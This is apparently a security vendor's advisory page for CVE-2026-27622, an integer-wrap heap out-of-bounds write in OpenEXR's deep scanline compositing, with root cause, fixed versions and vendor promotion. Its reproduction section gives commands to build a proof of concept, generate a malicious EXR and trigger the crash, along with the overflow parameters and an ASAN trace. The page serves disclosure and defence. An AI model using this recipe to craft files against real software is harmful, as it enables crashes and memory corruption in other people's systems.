CVE-2026-27622

CVE-2026-27622 is a high-severity out-of-bounds write vulnerability in OpenEXR (pip), affecting versions >= 2.3.0, < 3.2.6. It is fixed in 3.2.6, 3.3.8, 3.4.6.

Summary

Function: CompositeDeepScanLine::readPixels, reachable from high-level multipart deep read flows (MultiPartInputFile + DeepScanLineInputPart + CompositeDeepScanLine).

Vulnerable lines (src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp):

  • total_sizes[ptr] += counts[j][ptr]; (line ~511)
  • overall_sample_count += total_sizes[ptr]; (line ~514)
  • samples[channel].resize (overall_sample_count); (line ~535)

Impact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in generic_unpack_deep_pointers (src/lib/OpenEXRCore/unpack.c:1374) (DoS/Crash, memory corruption/RCE).

Attack scenario:

  • Attacker provides multipart deep EXR with many parts and very large sample counts per pixel.
  • Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure.
  • The overflow happens in composite sample accounting (unsigned int), while pointer progression for decode uses larger counters and reaches out-of-bounds.

Tested on: OpenEXR 4.0.0-dev (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0

Steps to reproduce

composite_deepscanline_poc_bundle.patch

PoC files used:

  • Writer/generator: poc/composite_deep_scanline_e2e_compressed_poc.cpp
  • Minimal high-level reader harness: poc/simple_exr_reader.cpp

The reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select DEEPSCANLINE, add sources to CompositeDeepScanLine, bind a normal FrameBuffer, then call readPixels.

Build with ASAN/UBSAN:

cmake -S . -B build-asan \
  -DOPENEXR_BUILD_POC=ON \
  -DCMAKE_BUILD_TYPE=RelWithDebInfo \
  -DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
  -DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \
  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'

cmake --build build-asan --target composite_writer simple_exr_reader -j

Generate malicious file (decode-path focused profile):

ASAN_OPTIONS=detect_leaks=0 timeout 180s \
  ./build-asan/poc/composite_writer \
  --profile low-ram \
  --file /tmp/composite_decode_focus.exr

Trigger:

ASAN_OPTIONS=detect_leaks=0 timeout 30s \
  ./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr

ASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.

Example runs

Writer (abbrev):

❯ ./build-asan/poc/composite_writer
exploit math:
  benign samples                 : 300
  malicious parts                : 86
  malicious samples per part     : 50000000
  true total samples             : 4300000300
  uint32 overflow reached        : yes
  wrapped uint32 total           : 5033004
  composite Z/A alloc from wrap  : 40264032 bytes (38.40 MiB)
  per-part unpacked sample bytes : 300000000 bytes (286.10 MiB)
  min parts to overflow (current benign/samples): 86
writing compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr
writing donor malicious part (50000000 samples)
copying malicious part 1/86 from donor chunk
...
file size: 26112896 bytes (24.90 MiB)

Reader ASAN crash:

❯ ./build-asan/poc/simple_exr_reader
reading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts
=================================================================
==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670
WRITE of size 4 at 0x7ed1a55d90b0 thread T0
    #0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374
    #1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664
    #2 0x7ed1dbcb153b in run_decode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816
    #3 0x7ed1dbcc597f in Imf_4_0::DeepScanLineInputFile::Data::readData(Imf_4_0::DeepFrameBuffer const&, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568
    #4 0x7ed1dbc01ca4 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576
    #5 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88
    #6 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #7 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #8 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)

0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0)
allocated by thread T0 here:
    #0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
    #1 0x7ed1dbc29600 in std::__new_allocator<float>::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151
    #2 0x7ed1dbc29600 in std::allocator_traits<std::allocator<float> >::allocate(std::allocator<float>&, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482
    #3 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381
    #4 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:378
    #5 0x7ed1dbc29600 in std::vector<float, std::allocator<float> >::_M_default_append(unsigned long) /usr/include/c++/13/bits/vector.tcc:663
    #6 0x7ed1dbc00184 in std::vector<float, std::allocator<float> >::resize(unsigned long) /usr/include/c++/13/bits/stl_vector.h:1016
    #7 0x7ed1dbc00184 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535
    #8 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88
    #9 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #10 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #11 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in generic_unpack_deep_pointers
Shadow bytes around the buggy address:
  0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==175024==ABORTING

Root cause analysis

In CompositeDeepScanLine::readPixels:

  1. Per-pixel totals are accumulated in vector<unsigned int> total_sizes.
  2. For attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32.
  3. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count).
  4. Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer.

Allocation is based on a tiny wrapped value, but decode writes correspond to the true large sample volume.

Impact

Heap OOB write during decode. This is at minimum a reliable crash/DoS. As heap corruption, this bug could be used for potential remote code execution.

A write operation targets a memory location beyond the intended buffer boundary. Typical impact: memory corruption, crash, or arbitrary code execution.

Affected versions

OpenEXR (>= 2.3.0, < 3.2.6) OpenEXR (>= 3.3.0, < 3.3.8) OpenEXR (>= 3.4.0, < 3.4.6)

Security releases

OpenEXR → 3.2.6 (pip) OpenEXR → 3.3.8 (pip) OpenEXR → 3.4.6 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade the following packages to resolve this vulnerability:

OpenEXR to 3.2.6 or later; OpenEXR to 3.3.8 or later; OpenEXR to 3.4.6 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-27622? CVE-2026-27622 is a high-severity out-of-bounds write vulnerability in OpenEXR (pip), affecting versions >= 2.3.0, < 3.2.6. It is fixed in 3.2.6, 3.3.8, 3.4.6. A write operation targets a memory location beyond the intended buffer boundary.
  2. Which versions of OpenEXR are affected by CVE-2026-27622? OpenEXR (pip) versions >= 2.3.0, < 3.2.6 is affected.
  3. Is there a fix for CVE-2026-27622? Yes. CVE-2026-27622 is fixed in 3.2.6, 3.3.8, 3.4.6. Upgrade to this version or later.
  4. Is CVE-2026-27622 exploitable, and should I be worried? Whether CVE-2026-27622 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-27622 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-27622?
    • Upgrade OpenEXR to 3.2.6 or later
    • Upgrade OpenEXR to 3.3.8 or later
    • Upgrade OpenEXR to 3.4.6 or later

Other vulnerabilities in OpenEXR

CVE-2026-34589CVE-2026-34588CVE-2026-26981CVE-2025-64182CVE-2025-64181

Stop the waste.
Protect your environment with Kodem.

Get a personalized demo
Get a personalized demo